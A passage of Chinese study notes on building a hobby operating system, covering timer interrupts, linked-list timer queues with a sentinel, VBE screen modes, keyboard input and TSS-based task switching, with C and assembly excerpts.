fifo8_status(&timerfifo) == 0) { io_sti(); } else { if (fifo8_status(&keyfifo) != 0) { (中略) } else if (fifo8_status(&mousefifo) != 0) { (中略) } else if (fifo8_status(&timerfifo) != 0) { i = fifo8_get(&timerfifo); /* 首先读入(为了设定起始点) */ io_sti(); putfonts8_asc(buf_back, binfo->scrnx, 0, 64, COL8_FFFFFF,"10[sec]"); sheet_refresh(sht_back, 0, 64, 56, 80); } } }}</code></pre><h3 id="多个定时器-hraib09d"><a href="#多个定时器-hraib09d" class="headerlink" title="多个定时器 hraib09d"></a>多个定时器 hraib09d</h3><p>定义一个定时器集合数组, </p><p>定义 分配、释放定时器函数</p><p>中断处理函数中对已分配的定时器进行减一,若减到0,则向fifo中写入</p><pre><code class="c">#define PIT_CTRL 0x0043#define PIT_CNT0 0x0040struct TIMERCTL timerctl;#define TIMER_FLAGS_ALLOC 1 /* 定时器已计时完毕标志*/#define TIMER_FLAGS_USING 2 /* 定时器正在使用标志 */void init_pit(void){ int i; io_out8(PIT_CTRL, 0x34); io_out8(PIT_CNT0, 0x9c); io_out8(PIT_CNT0, 0x2e); timerctl.count = 0; for (i = 0; i < MAX_TIMER; i++) { timerctl.timer[i].flags = 0; /* ���g�p */ } return;}struct TIMER *timer_alloc(void){ int i; for (i = 0; i < MAX_TIMER; i++) { if (timerctl.timer[i].flags == 0) { timerctl.timer[i].flags = TIMER_FLAGS_ALLOC; return &timerctl.timer[i]; } } return 0; /* 未找到空闲定时器 */}void timer_free(struct TIMER *timer){ timer->flags = 0; /* 设置为空闲 */ return;}void timer_init(struct TIMER *timer, struct FIFO8 *fifo, unsigned char data){ timer->fifo = fifo; timer->data = data; return;}void timer_settime(struct TIMER *timer, unsigned int timeout){ timer->timeout = timeout; timer->flags = TIMER_FLAGS_USING; return;}void inthandler20(int *esp){ int i; io_out8(PIC0_OCW2, 0x60); /* 把IRQ-00信号接收结束的信息通知给PIC */ timerctl.count++; for (i = 0; i < MAX_TIMER; i++) { if (timerctl.timer[i].flags == TIMER_FLAGS_USING) { timerctl.timer[i].timeout--; if (timerctl.timer[i].timeout == 0) { timerctl.timer[i].flags = TIMER_FLAGS_ALLOC; fifo8_put(timerctl.timer[i].fifo, timerctl.timer[i].data); } } } return;}</code></pre><h3 id="加快中断处理-harib09e"><a href="#加快中断处理-harib09e" class="headerlink" title="加快中断处理 harib09e"></a>加快中断处理 harib09e</h3><p>在timerctl 增加一个next 和count</p><p>count 每次中断自增1 ,并和next作比较,若小于next,则计时都没有结束,直接返回。</p><p>若到达next,则将超时的进行标记, 遍历timerctl,记录下一个最近的next</p><p>在使用计时器时,将计时器的count和 timerctl中的next大小作比较, 保证next为最小计时器的值</p><h3 id="加快中断处理(3)-(harib09g)"><a href="#加快中断处理(3)-(harib09g)" class="headerlink" title="加快中断处理(3) (harib09g)"></a>加快中断处理(3) (harib09g)</h3><pre><code class="c">struct TIMERCTL { unsigned int count, next, using; struct TIMER *timers[MAX_TIMER]; struct TIMER timers0[MAX_TIMER];};</code></pre><pre><code class="c">void inthandler20(int *esp){ int i, j; io_out8(PIC0_OCW2, 0x60); /* 把IRQ-00信号接收结束的信息通知给PIC */ timerctl.count++; if (timerctl.next > timerctl.count) { return; } for (i = 0; i < timerctl.using; i++) { /* timers的定时器都处于动作中, 所以不确认flags */ if (timerctl.timers[i]->timeout > timerctl.count) { break; } /* 超时*/ timerctl.timers[i]->flags = TIMER_FLAGS_ALLOC; fifo8_put(timerctl.timers[i]->fifo, timerctl.timers[i]->data); } /* 正好有i个定时器超时了。 其余的进行移位。 */ timerctl.using -= i; for (j = 0; j < timerctl.using; j++) { timerctl.timers[j] = timerctl.timers[i + j]; } if (timerctl.using > 0) { timerctl.next = timerctl.timers[0]->timeout; } else { timerctl.next = 0xffffffff; } return;}</code></pre><p>排序</p><pre><code class="c">void timer_settime(struct TIMER *timer, unsigned int timeout){ int e, i, j; timer->timeout = timeout + timerctl.count; timer->flags = TIMER_FLAGS_USING; e = io_load_eflags(); io_cli(); /* �ǂ��ɓ�����������T�� */ for (i = 0; i < timerctl.using; i++) { if (timerctl.timers[i]->timeout >= timer->timeout) { break; } } /* ����������炷 */ for (j = timerctl.using; j > i; j--) { timerctl.timers[j] = timerctl.timers[j - 1]; } timerctl.using++; /* �����������܂ɓ���� */ timerctl.timers[i] = timer; timerctl.next = timerctl.timers[0]->timeout; io_store_eflags(e); return;}</code></pre><h2 id="20220331"><a href="#20220331" class="headerlink" title="20220331"></a>20220331</h2><p>day13</p><h3 id="调整缓冲区harib10b"><a href="#调整缓冲区harib10b" class="headerlink" title="调整缓冲区harib10b"></a>调整缓冲区harib10b</h3><p>每个定时器都分配一个缓冲区有点过于浪费,其实只要在超时的情况下FIFO写入不同的数据,就可以正常地分辨出是哪个定时器超时了。</p><h2 id="20220401"><a href="#20220401" class="headerlink" title="20220401"></a>20220401</h2><p>day13</p><h3 id="加快中断处理"><a href="#加快中断处理" class="headerlink" title="加快中断处理"></a>加快中断处理</h3><p>在timer_settime和计时器中断处理程序inthandler20中,新计时器的插入处理占用了很长时间,虽然timer_settime不是中断处理程序,但毕竟是在中断禁止期间进行的,所以必须要迅速完成。</p><p>其实线性的存储方式(插入慢)并不适合这种模式,我们可以考虑使用链表(插入快)这一数据结构</p><p>在TIMER结构体,新增一个TIMER指针变量,它指向当前定时器临近的下一个定时器。</p><p><img src="/2022/03/27/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/30%E5%A4%A9%E8%87%AA%E5%88%B6%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F-%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%20day11~day20/image-20220401102711590.png" alt="image-20220401102711590"></p><p>同时我们修改TIMERCTL结构体中的timers数字, 现在我们只需要知道一个当前计时器的位置就可以了,因此将其修改成单个指针</p><pre><code class="c">struct TIMERCTL { unsigned int count, next, using; struct TIMER *t0; struct TIMER timers0[MAX_TIMER];};</code></pre><pre><code class="c">void timer_settime(struct TIMER *timer, unsigned int timeout){ int e; struct TIMER *t, *s; timer->timeout = timeout + timerctl.count; timer->flags = TIMER_FLAGS_USING; e = io_load_eflags(); io_cli(); timerctl.using++; if (timerctl.using == 1) { /* 处于运行状态的定时器只有这一个时 */ timerctl.timers[0] = timer; timer->next = 0; /* 没有下一个 */ timerctl.next = timer->timeout; io_store_eflags(e); return; } t= timerctl.timers[0];//临时存储第一个计时器位置 if (timer->timeout <= t->timeout) { /* 插入最前面的情况下 */ timerctl.timers[0] = timer; timer->next = t; /* 下面是t */ timerctl.next = timer->timeout; io_store_eflags(e); return; }/ * 搜寻插入位置 */ for (;;) { s = t; t = t->next; if (t == 0) { break; /* 最后面*/ } if (timer->timeout <= t->timeout) { /* 插入到s和t之间时 */ s->next = timer; /* s的下一个是timer */ timer->next = t; /* timer的下一个是t */ io_store_eflags(e); return; } } /* 插入最后面的情况下 */ s->next = timer; timer->next = 0; io_store_eflags(e); return;}</code></pre><pre><code class="c">void inthandler20(int *esp){ int i; struct TIMER *timer; io_out8(PIC0_OCW2, 0x60); /* 把IRQ-00接收信号结束的信息通知给PIC */ timerctl.count++; if (timerctl.next > timerctl.count) { return; } timer = timerctl.timers[0]; /* 首先把最前面的地址赋给timer */ for (i = 0; i < timerctl.using; i++) {//可能不止一个定时器在相同的时间超时 /* 因为timers的定时器都处于运行状态, 所以不确认flags*/ if (timer->timeout > timerctl.count) { break; } /* 超时 */ timer->flags = TIMER_FLAGS_ALLOC; fifo32_put(timer->fifo, timer->data); timer = timer->next; /* 下一定时器的地址赋给timer */ } timerctl.using -= i; /* 新移位 */ timerctl.timers[0] = timer; /* timerctl.next的设定 */ if (timerctl.using > 0) { timerctl.next = timerctl.timers[0]->timeout; } else { timerctl.next = 0xffffffff; } return;}</code></pre><h3 id="使用“哨兵”简化程序(harib10i)"><a href="#使用“哨兵”简化程序(harib10i)" class="headerlink" title="使用“哨兵”简化程序(harib10i)"></a>使用“哨兵”简化程序(harib10i)</h3><blockquote><p> 在timer_settime函数有四种可能</p></blockquote><ul><li>运行中的定时器只有一个的情况</li><li>插入到最前面的情况</li><li>插入到s和t之间的情况</li><li>插入到最后面的情况 </li></ul><p>在进行初始化的时候,将时刻0xffffffff的定时器连到最后一个定时器上。</p><p>它一直处于后面,只是一个附带物,这就是 “ 哨兵”</p><blockquote><p>加入哨兵后,有两种情况不再可能出现</p></blockquote><ul><li>处于运行中的定时器只有这1个的情况(因为有哨兵, 所以最少应该有2个)</li><li>插入最前面的情况</li><li>插入s和t之间的情况</li><li>插入最后的情况(哨兵总是在最后) </li></ul><pre><code class="c">void init_pit(void){ int i; struct TIMER *t; io_out8(PIT_CTRL, 0x34); io_out8(PIT_CNT0, 0x9c); io_out8(PIT_CNT0, 0x2e); timerctl.count = 0; for (i = 0; i < MAX_TIMER; i++) { timerctl.timers0[i].flags = 0; /* 没有使用 */ } t= timer_alloc(); /* 取得一个 */ t->timeout = 0xffffffff; t->flags = TIMER_FLAGS_USING; t->next = 0; /* 末尾 */ timerctl.t0 = t; /* 因为现在只有哨兵, 所以他就在最前面*/ timerctl.next = 0xffffffff; /* 因为只有哨兵, 所以下一个超时时刻就是哨兵的时刻 */ timerctl.using = 1; return;}</code></pre><pre><code class="c">void timer_settime(struct TIMER *timer, unsigned int timeout){ int e; struct TIMER *t, *s; timer->timeout = timeout + timerctl.count; timer->flags = TIMER_FLAGS_USING; e = io_load_eflags(); io_cli(); timerctl.using++; t = timerctl.t0; if (timer->timeout <= t->timeout) { /* 插入最前面的情况 */ timerctl.t0 = timer; timer->next = t; /* 下面是设定t */ timerctl.next = timer->timeout; io_store_eflags(e); return; }/ * 搜寻插入位置 */ for (;;) { s = t; t = t->next; if (timer->timeout <= t->timeout) { /* 插入s和t之间的情况 */ s->next = timer; /* s下一个是timer */ timer->next = t; /* timer的下一个是t */ io_store_eflags(e); return; } }}</code></pre><pre><code class="c">void inthandler20(int *esp){ int i; struct TIMER *timer; io_out8(PIC0_OCW2, 0x60); /* 把IRQ-00接收信号结束的信息通知给PIC */ timerctl.count++; if (timerctl.next > timerctl.count) { return; } timer = timerctl.t0; /* 首先把最前面的地址赋给timer */ for (i = 0; i < timerctl.using; i++) { /* 因为timers的定时器都处于运行状态, 所以不确认flags */ if (timer->timeout > timerctl.count) { break; } /* 超时 */ timer->flags = TIMER_FLAGS_ALLOC; fifo32_put(timer->fifo, timer->data); timer = timer->next; /* 将下一定时器的地址代入timer*/ } timerctl.using -= i; /* 新移位 */ timerctl.t0 = timer; /* timerctl.next的设定 */ /* 这里! */ timerctl.next = timerctl.t0->timeout; return;}</code></pre><h2 id="在总结一次操作系统的执行流程"><a href="#在总结一次操作系统的执行流程" class="headerlink" title="在总结一次操作系统的执行流程"></a>在总结一次操作系统的执行流程</h2><blockquote><p>首先是映像文件img</p></blockquote><p>img文件总大小为1440KB</p><p>在最初的512字节中, 存储着启动区ipl代码 程序在此执行。</p><p>我们通过工具将其他文件拷入img时,文件名会存放在0x002600以后的地方,文件的内容会写在0x004200以后的地方 。</p><pre><code class="makefile">haribote.img : ipl10.bin haribote.sys Makefile $(EDIMG) imgin:../z_tools/fdimg0at.tek \ wbinimg src:ipl10.bin len:512 from:0 to:0 \ copy from:haribote.sys to:@: \ imgout:haribote.img</code></pre><blockquote><p>部分标记</p></blockquote><p>在IPL中要将启动区往后的10个柱面的代码(180KB)拷贝入内存中(从0x8000开始到0x34fff )</p><p>因为拷入到内存中,基础的地址为0x8000, 且文件在img中起始地址为0x4200,两者之和为0xc200 因此</p><ol><li>在IPL的最后,要跳到haribote.sys ,执行命令JMP 0xc200</li><li>在haribote.sys中,要加入ORG 0xc200命令,防止地址转换出现问题。</li></ol><blockquote><p>然后映像的执行</p></blockquote><ol><li>CPU会读取映像的前512个字节,根据代码将启动区后的10个扇区读入内存0x8000开始的位置</li><li>执行JMP 0xc200进入操作系统主程序</li></ol><blockquote><p>首先执行的是asmhead.nas</p></blockquote><ol><li>关闭所有中断</li><li>为了让CPU能够访问1MB以上的内存空间, 设定A20GATE</li><li>创建一个临时的GDT, 包含两个段</li><li>将IPL 、bootpack等代码载入指定的内存中</li><li>最后跳转到主程序区(0x280000)继续执行</li></ol><blockquote><p>主程序</p></blockquote><p>首先会初始化GDT IDT 、初始化键盘鼠标、绘制GUI等操作。</p><p>进入循环阶段,处理中断产生的信息并绘制图层。</p><h2 id="20220406"><a href="#20220406" class="headerlink" title="20220406"></a>20220406</h2><p>day 14</p><h3 id="提高分辨率"><a href="#提高分辨率" class="headerlink" title="提高分辨率"></a>提高分辨率</h3><blockquote><p>确认VBE是否存在</p></blockquote><pre><code class="assembly">; 确认VBE是否存在 MOV AX,0x9000 MOV ES,AX MOV DI,0 MOV AX,0x4f00 INT 0x10 CMP AX,0x004f JNE scrn320</code></pre><p>通过给ES赋值0x9000 ,DI赋值0 ,AX赋值0x4f00 然后执行INT 0x10,若VBE存在,AX就会变为0x004f</p><blockquote><p>确认VBE版本</p></blockquote><pre><code class="assembly">MOV AX,[ES:DI+4]CMP AX,0x0200JB scrn320 ; if (AX < 0x0200) goto scrn320</code></pre><blockquote><p>获取画面模式的信息</p></blockquote><p>VBEMODE EQU 0x105 </p><pre><code class="assembly">MOV CX,VBEMODEMOV AX,0x4f01INT 0x10CMP AX,0x004fJNE scrn320</code></pre><p>此次取得的画面模式信息会写入内存中从ES:DI 开始的256字节中。</p><blockquote><p>确认画面模式信息无误后,即可将信息拷入BOOTINFO中了</p></blockquote><pre><code class="assembly">; 画面模式的切换 MOV BX,VBEMODE+0x4000 MOV AX,0x4f02 INT 0x10 MOV BYTE [VMODE],8 ; 记下画面模式(参考C语言) MOV AX,[ES:DI+0x12] MOV [SCRNX],AX MOV AX,[ES:DI+0x14] MOV [SCRNY],AX MOV EAX,[ES:DI+0x28] MOV [VRAM],EAX JMP keystatus</code></pre><h3 id="键盘输入-harib11f"><a href="#键盘输入-harib11f" class="headerlink" title="键盘输入 harib11f"></a>键盘输入 harib11f</h3><pre><code class="c">static char keytable[0x54] = {0, 0, '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '-', '^', 0, 0,'Q', 'W', 'E', 'R', 'T', 'Y', 'U', 'I', 'O', 'P', '@', '[', 0, 0, 'A','S','D', 'F', 'G','H', 'J', 'K', 'L', ';', ':', 0, 0, ']', 'Z', 'X', 'C','V','B', 'N', 'M', ',', '.', '/', 0, '*', 0, ' ', 0, 0, 0, 0, 0, 0,0, 0, 0, 0, 0, 0, 0, '7', '8', '9', '-', '4', '5', '6', '+','1','2', '3', '0', '.'};if (256 <= i && i <= 511) { /* 键盘数据 */ sprintf(s, "%02X", i - 256); putfonts8_asc_sht(sht_back, 0, 16, COL8_FFFFFF, COL8_008484, s, 2);if (i < 256 + 0x54) { if (keytable[i - 256] != 0) { s[0] = keytable[i - 256]; s[1] = 0; putfonts8_asc_sht(sht_win, 40, 28, COL8_000000, COL8_C6C6C6, s, 1); } }} else if (512 <= i && i <= 767) { /* 鼠标数据 */</code></pre><h2 id="20220407"><a href="#20220407" class="headerlink" title="20220407"></a>20220407</h2><p>day15</p><h3 id="多任务"><a href="#多任务" class="headerlink" title="多任务"></a>多任务</h3><p>当你向CPU发出任务切换的指令时, CPU会先把寄存器中的值全部写入<br>内存中, 这样做是为了当以后切换回这个程序的时候, 可以从中断的地<br>方继续运行。 接下来, 为了运行下一个程序, CPU会把所有寄存器中的<br>值从内存中读取出来(当然, 这个读取的地址和刚刚写入的地址一定是<br>不同的, 不然就相当于什么都没变嘛) , 这样就完成了一次切换。 我们<br>前面所说的任务切换所需要的时间, 正是对内存进行写入和读取操作所<br>消耗的时间。</p><ol><li> CPU将寄存器中的值写入内存中</li><li>将另一个任务的寄存器的值从内存中加载</li></ol><blockquote><p>定义任务状态段(task satus segment)</p></blockquote><pre><code class="c">struct TSS32 { int backlink, esp0, ss0, esp1, ss1, esp2, ss2, cr3; int eip, eflags, eax, ecx, edx, ebx, esp, ebp, esi, edi; int es, cs, ss, ds, fs, gs; int ldtr, iomap;};</code></pre><p>TSS共包含26个int成员,总计104字节</p><p>第一行保存的不是寄存器数据,而是与任务设置相关的信息,在回字形任务切换的时候这些成员不会被写入(backlink 除外,某些情况下是会被写入的)</p><p>第二行成员是32位寄存器,第三行是16位寄存器。 EIP(Extended Instruction Pointer扩展指令指针寄存器) 寄存器用来记录下一条需要执行的指令位于内存中的那个地址的。 每执行一条指令,EIP寄存器中的值就会自动累加,从而保证一直指向下一条指令所在的内存地址。</p><p>汇编中的JMP跳转指令,实际上就是通过JMP间接修改EIP的值来达到目的。</p><p>第四行 和第一行一样,是存储有关任务设置的部分。</p><blockquote><p>切换任务</p></blockquote><p>JMP指令分两种</p><ol><li>只改写EIP(near模式)</li><li>同时改写EIP和CS(far模式)</li></ol><p>如在asmhead.nas的bootpack启动的最后一句</p><pre><code class="assembly">JMP DWORD 2*8:0x0000001b </code></pre><p>这条指令在想EIP存入0x1b同时将CS置为2*8(=16) 。 像这样在JMP目标地址中带冒号(:) 的, 就是far模式的JMP指令。 </p><p>如果一条JMP指令所指定的目标地址段不是可执行的代码, 而是TSS的<br>话, CPU就不会执行通常的改写EIP和CS的操作, 而是将这条指令理解<br>为任务切换。 也就是说, CPU会切换到目标TSS所指定的任务, 说白<br>了, 就是JMP到一个任务那里去了。</p><p>CPU每次执行带有段地址的指令时, 都会去确认一下GDT中的设置, 以<br>便判断接下来要执行的JMP指令到底是普通的far-JMP, 还是任务切换。<br>也就是说, 从汇编程序翻译出来的机器语言来看, 普通的far-JMP和任<br>务切换的far-JMP, 指令本身是没有任何区别的。 </p><blockquote><p>代码实践</p></blockquote><p>创建两个TSS ,分别为任务A的TSS 、任务B的TSS</p><pre><code class="c">struct TSS32 tss_a, tss_b ;</code></pre><p>向他们的LDTR和IOMAP中写入合适的值</p><pre><code class="c">tss_a.ldtr = 0;tss_a.iomap = 0x40000000;tss_b.ldtr = 0;tss_b.iomap = 0x40000000;</code></pre><p>将这两个任务在GDT中定义</p><pre><code class="c">struct SEGMENT_DESCRIPTOR *gdt = (struct SEGMENT_DESCRIPTOR *) ADR_GDT;set_segmdesc(gdt + 3, 103, (int) &tss_a, AR_TSS32);set_segmdesc(gdt + 4, 103, (int) &tss_b, AR_TSS32)</code></pre><p>void set_segmdesc(struct SEGMENT_DESCRIPTOR *sd, unsigned int limit, int base, int ar)</p><p>段长限制为103字节,基础地址为该函数在内存中的地址。</p><p>然后向TR寄存器(task register 任务寄存器 ,作用是让CPU记住当前正在运行哪一个任务)写入 3*8这个值,用于将当前运行的任务定义为GDT的3号。</p><p>无法通过C语言进行TR寄存器赋值。需要使用汇编的LTR指令 load_tr(3 * 8);</p><pre><code class="assembly">_load_tr: ; void load_tr(int tr);LTR [ESP+4] ; trRET</code></pre><p>要进行任务切换需要使用far模式的JMP指令</p><pre><code class="assembly">_taskswitch4: ; void taskswitch4(void); JMP 4*8:0 RET</code></pre><p>jmp far模式过程<a href="https://blog.csdn.net/jadeshu/article/details/112074269">https://blog.csdn.net/jadeshu/article/details/112074269</a></p><p>tss_b准备</p><pre><code class="c"> task_b_esp = memman_alloc_4k(memman, 64 * 1024) + 64 * 1024; tss_b.eip = (int) &task_b_main; tss_b.eflags = 0x00000202; /* IF = 1; */ tss_b.eax = 0; tss_b.ecx = 0; tss_b.edx = 0; tss_b.ebx = 0; tss_b.esp = task_b_esp; tss_b.ebp = 0; tss_b.esi = 0; tss_b.edi = 0; tss_b.es = 1 * 8; tss_b.cs = 2 * 8; tss_b.ss = 1 * 8; tss_b.ds = 1 * 8; tss_b.fs = 1 * 8; tss_b.gs = 1 * 8;</code></pre><p>给CS寄存器置为GDT的2号,其他寄存器都置为GDT1号,也就是说使用和bootpack,c相同的地址段。</p><p>关于eflags的赋值, 如果把STI后的EFLAGS的值通过io_load_eflags赋给变量的话, 该变量的值就显示为0x00000202, 因此在这里就直接使用了这个值 。</p><p>eip中定义切换到该任务后,代码从哪里开始运行。</p><p>task_b_esp是为任务B定义的 栈。</p><pre><code class="c">int task_b_esp;task_b_esp = memman_alloc_4k(memman, 64 * 1024) + 64 * 1024;</code></pre><p>因为栈是向低地址增长,因此ESP存入的应该是栈末尾的值。</p><p>设置任务b为HTL</p><pre><code class="c">void task_b_main(void){for (;;) { io_hlt(); }}</code></pre><p>主函数中引入任务切换</p><pre><code class="c">} else if (i == 10) { /* 10秒计时器*/putfonts8_asc_sht(sht_back, 0, 64, COL8_FFFFFF, COL8_008484, "10[sec]", 7);taskswitch4(); /*这里! */} else if (i == 3) { /* 3秒计时器 */</code></pre><p>运行代码。10秒后会切换到任务b ,整个系统就进入暂停状态。</p><h3 id="任务切换进阶"><a href="#任务切换进阶" class="headerlink" title="任务切换进阶"></a>任务切换进阶</h3><blockquote><p>切换到任务B后5秒切换回任务A</p></blockquote><pre><code class="c">void task_b_main(void){ struct FIFO32 fifo; struct TIMER *timer; int i, fifobuf[128]; fifo32_init(&fifo, 128, fifobuf); timer = timer_alloc(); timer_init(timer, &fifo, 1); timer_settime(timer, 500); for (;;) { io_cli(); if (fifo32_status(&fifo) == 0) { io_sti(); io_hlt(); } else { i = fifo32_get(&fifo); io_sti(); if (i == 1) { taskswitch3(); } } }}</code></pre><p>在这里所使用的变量名, 比如fifo、 timer等, 和HariMain里面是一样的, 不过别担心, 计算机会把它们当成不同的变量来处理。 </p><pre><code class="c">_taskswitch3: ; void taskswitch3(void);JMP 3*8:0RET</code></pre><blockquote><p>思考一</p></blockquote><p> 这里一开始以为回到任务A后,所有程序都会重新执行,实际操作发现会继续执行原来的任务A</p><p><a href="https://blog.csdn.net/happyAnger6/article/details/8545351">https://blog.csdn.net/happyAnger6/article/details/8545351</a></p><p>查找资料发现在任务切换前,CPU会自动将当前任务的上下文保存到当前任务的TSS段中。所以任务A的TSS中的值不需要初始化</p><blockquote><p>思考二</p></blockquote><p>如何标识一个段是否有TSS</p><p>set_segmdesc(gdt + 3, 103, (int) &tss_a, AR_TSS32);</p><p>我们设置该GDT为一个任务状态段(TSS)</p><p><img src="/2022/03/27/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/30%E5%A4%A9%E8%87%AA%E5%88%B6%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F-%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%20day11~day20/image-20220407151511492.png" alt="image-20220407151511492"></p><h3 id="做个简单的多任务harib12c"><a href="#做个简单的多任务harib12c" class="headerlink" title="做个简单的多任务harib12c"></a>做个简单的多任务harib12c</h3><blockquote><p>先定义一个切换任务函数</p></blockquote><pre><code class="c">_farjmp: ; void farjmp(int eip, int cs); JMP FAR [ESP+4] ; eip, cs RET</code></pre><p>JMP FAR 指令的功能是执行far跳转</p><p>前面定义的两个函数就可进行修改成如下</p><p>taskswitch3(); → farjmp(0, 3 * 8);<br>taskswitch4(); → farjmp(0, 4 * 8); </p><pre><code class="c">void HariMain(void){ ( 中略) timer_ts = timer_alloc(); timer_init(timer_ts, &fifo, 2); timer_settime(timer_ts, 2); ( 中略) for (;;) { io_cli(); if (fifo32_status(&fifo) == 0) { io_stihlt(); } else { i = fifo32_get(&fifo); io_sti(); if (i == 2) { farjmp(0, 4 * 8); timer_settime(timer_ts, 2);//任务b执行结束跳转回来时会从此处开始执行 } else if (256 <= i && i <= 511) { /*键盘数据*/ ( 中略) } else if (512 <= i && i <= 767) { /*鼠标数据*/ ( 中略) } else if (i == 10) { /* 10秒计时器*/ putfonts8_asc_sht(sht_back, 0, 64, COL8_FFFFFF, COL8_008484,"10[sec]", 7); } else if (i == 3) { /* 3秒计时器*/ putfonts8_asc_sht(sht_back, 0, 80, COL8_FFFFFF, COL8_008484,"3[sec]", 6); } else if (i <= 1) { /*光标用计时器*/ ( 中略) } } }}</code></pre><pre><code class="c">void task_b_main(void){ struct FIFO32 fifo; struct TIMER *timer_ts; int i, fifobuf[128]; fifo32_init(&fifo, 128, fifobuf); timer_ts = timer_alloc(); timer_init(timer_ts, &fifo, 1); timer_settime(timer_ts, 2); for (;;) { io_cli(); if (fifo32_status(&fifo) == 0) { io_sti(); io_hlt(); } else { i = fifo32_get(&fifo); io_sti(); if (i == 1) { //计时结束 farjmp(0, 3 * 8); timer_settime(timer_ts, 2);//第二次以后切换到任务b都会在这里执行 } } }}</code></pre><blockquote><p>为了更清楚观察,在b中加入计时功能</p></blockquote><pre><code class="c">count++;sprintf(s, "%10d", count);putfonts8_asc_sht(sht_back, 0, 144, COL8_FFFFFF, COL8_008484, s, 10);</code></pre><p>但是b并不知道sht_back 的值,我们需要在任务A中将该值写入一个内存中,让B从指定的内存中取出来</p><pre><code class="c">本次的HariMain节选*((int *) 0x0fec) = (int) sht_back;本次的task_b_main节选sht_back = (struct SHEET *) *((int *) 0x0fec);</code></pre><p>这里用到了许多地址转换</p><blockquote><p>转换解读</p></blockquote><p>sht_back为指针类型,存放的是背景图层所在的地址,首先将其转换成int。</p><p>(int *) 0x0fec 将内存的0x0fec转为一个指针变量。</p><p>*((int *) 0x0fec)=(int) sht_back 我们将背景图层所在的地址存放在0x0fec内存处。</p><h3 id="提高运行速度-harib12e"><a href="#提高运行速度-harib12e" class="headerlink" title="提高运行速度 harib12e"></a>提高运行速度 harib12e</h3><pre><code class="c">void task_b_main(struct SHEET *sht_back){ struct FIFO32 fifo; struct TIMER *timer_ts, *timer_put; int i, fifobuf[128], count = 0; char s[12]; fifo32_init(&fifo, 128, fifobuf); timer_ts = timer_alloc(); timer_init(timer_ts, &fifo, 2); timer_settime(timer_ts, 2); timer_put = timer_alloc(); timer_init(timer_put, &fifo, 1); timer_settime(timer_put, 1); for (;;) { count++; io_cli(); if (fifo32_status(&fifo) == 0) { io_sti(); } else { i = fifo32_get(&fifo); io_sti(); if (i == 1) { sprintf(s, "%11d", count); putfonts8_asc_sht(sht_back, 0, 144, COL8_FFFFFF, COL8_008484, s, 11); timer_settime(timer_put, 1); } else if (i == 2) { farjmp(0, 3 * 8); timer_settime(timer_ts, 2); } } }}</code></pre><p>新增1个定时器,每隔0.01 秒刷新一次窗口</p><p>相较于原本复杂的图层传递方式,这里优化为使用参数传递,将参数传入任务B的栈中即可</p><pre><code class="c">task_b_esp = memman_alloc_4k(memman, 64 * 1024) + 64 * 1024 - 8;*((int *) (task_b_esp + 4)) = (int) sht_back;</code></pre><p>这样一来, 在任务B启动的时候, [ESP+4]这个地址里面就已经存入了<br>sht_back的值, 因此我们就欺骗了task_b_main, 让它以为自己所接收到<br>的sht_back是作为一个参数传递过来的。 </p><blockquote><p>为什么要- 8</p></blockquote><p>假设分配的初始地址为0x01234000 </p><p>申请分配64KB,范围为0x01234000到0x01243fff </p><p>-8 task_b_esp即为0x01243ff8写入sht_back的地址是<br>task_b_esp + 4, 即0x01243ffc, 从这个地址向后写入4字节的sht_back<br>值, 则正好在分配出来的内存范围(0x01234000~0x01243fff) 内完成<br>操作, 这样就不会出问题了。 </p><h3 id="task-b-main不能return"><a href="#task-b-main不能return" class="headerlink" title="task_b_main不能return"></a>task_b_main不能return</h3><p>return的功能, 说到底其实是返回函数被调用位置的一个JMP指令, 但这个task_b_main并不是由某段程序直接调用的, 因此不能使用return。如果强行return的话, 就会像“执行数据”一样发生问题, 程序无法正常运行。 </p><p>为了记住现在正在执行的指令所在的内存地址,需要使用EIP寄存器, 那么return的时候要返回的地址又记录在哪里呢?对于记性不好的CPU来说, 肯定会把这个地址保存在某个地方, 没错,它就保存在栈中, 地址是[ESP] </p><p>因此, 我们不仅可以利用[ESP+4], 还可以利用[ESP]来欺骗CPU, 其实只要向[ESP]写入一个合适的值, 告诉CPU应该返回到哪个地址,task_b_main中就可以使用return了。 </p><h3 id="多任务进阶harib12g"><a href="#多任务进阶harib12g" class="headerlink" title="多任务进阶harib12g"></a>多任务进阶harib12g</h3><blockquote><p>真正的多任务,是要做到在程序本身不知道的情况下进行任务切换。</p></blockquote><pre><code class="c">struct TIMER *mt_timer;int mt_tr;void mt_init(void){ mt_timer = timer_alloc(); /*这里没有必要使用timer_init */ timer_settime(mt_timer, 2); mt_tr = 3 * 8; return;} void mt_taskswitch(void){ if (mt_tr == 3 * 8) { mt_tr = 4 * 8; } else { mt_tr = 3 * 8; } timer_settime(mt_timer, 2); farjmp(0, mt_tr); return;}</code></pre><p>mt_taskswitch 根据当前mt_tr的值计算出下一个mt_tr的值,重置计时器之后进行任务切换</p><blockquote><p>修改time.c</p></blockquote><pre><code class="c">void inthandler20(int *esp){ char ts = 0; (中略) for (;;) { /* timers的计时器全部在工作中, 因此不用确认flags */ if (timer->timeout > timerctl.count) { break; }/*超时*/ timer->flags = TIMER_FLAGS_ALLOC; if (timer != mt_timer) { fifo32_put(timer->fifo, timer->data); } else { ts = 1; /* mt_timer超时*/ } timer = timer->next; /*将下一个计时器的地址赋给timer */ } timerctl.t0 = timer; timerctl.next = timer->timeout; if (ts != 0) { mt_taskswitch(); } return;}</code></pre><p>如果产生超时的计时器是mt_timer的话, 不向FIFO写入数据,而是将ts置为1。 最后判断如果ts的值不为0, 就调用mt_taskswitch进行任务切换 。</p><p>不能直接在ts=1处 进行 mt_taskswitch(); 因为任务切换的时候即便中断处理还没完成, IF( 中断允许标志) 的值也可能会被重设回1( 因为任务切换的时候会同时切换EFLAGS) 。 这样可不行, 在中断处理还没完成的时候, 可能会产生下一个中断请求, 这会导致程序出错 。</p><blockquote><p>思考1</p></blockquote><p>一开始纠结于多个任务的定时器产生的不同数据万一被另一个任务获取了,不就丢失了吗?</p><p>看了一遍源代码才发现每个timer都可以指定不同的FIFO,只要在不同的任务中设置不同的FIFO就行了。</p><p>day16</p><h3 id="任务管理自动化harib13a"><a 